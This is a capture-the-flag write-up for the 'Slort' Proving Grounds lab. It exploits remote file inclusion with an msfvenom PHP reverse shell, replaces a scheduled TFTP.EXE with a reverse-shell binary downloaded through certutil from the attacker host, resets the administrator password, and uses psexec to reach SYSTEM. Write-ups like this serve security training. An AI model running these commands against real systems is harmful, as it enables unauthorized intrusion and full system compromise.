Slort

PG Practice Slort Writeup

Nmap

sudo nmap 192.168.230.53 -p- -sS -sV

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC

Both port 8080 and 4443 contain the same web directory redirecting both to the /dashboard/ directory for XAMPP.

Running dirsearch.py against the target reveals the /site page.

python3 dirsearch.py -u http://192.168.230.53:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 --full-url 

The /site/index.php page:

Paying close attention to the full address of the index.php page we can see the following:

http://192.168.230.53:8080/site/index.php?page=main.php

Looking at the part index.php?page=<Value> we can test for RFI to see if vulnerable. I created a test.txt file on my attacking machine and then hosted the directory with a Python SimpleHTTPServer. Then browsed to the following:

http://192.168.230.53:8080/site/index.php?page=http://192.168.49.230/test.txt

This confirms RFI:

As we know we are running PHP we can generate a PHP reverse shell with msfvenom in order to catch a reverse shell using the RFI.

msfvenom -p php/reverse_php LHOST=192.168.49.230 LPORT=21 -f raw > phpreverseshell.php

Host this in the same directory as the Python SimpleHTTPServer and ensure the listening port is set to 21. Then in the browser browse to the shell we just generated.

http://192.168.230.53:8080/site/index.php?page=http://192.168.49.230/phpreverseshell.php

Once we are connected we are running as the user rupert. Looking through the C:\ root directory we have a folder called backup. Looking at the contents within and reading info.txt we see that the note mentions TFTP.EXE is executed every 5 minutes.

I was able to delete TFTP.EXE which means we can replace it with a malicious shell. Knowing this we can generate a reverse shell with msfvenom and call it TFTP.EXE.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.230 LPORT=21 -f exe > TFTP.EXE 

The shell was then uploaded with certutil.exe.

certutil.exe -f -urlcache -split http://192.168.49.230/TFTP.EXE

A netcat listener was set up on port 21 and after 5 minutes the TFTP.EXE was executed as part of the scheduled task and we receive an administrator shell.

As we are administrator we can then escalate to SYSTEM by fist changing the administrator password:

net user administrator Password123

Then using Psexec.py to gain shell as SYSTEM.

sudo python2 psexec.py /administrator:Password123@192.168.230.53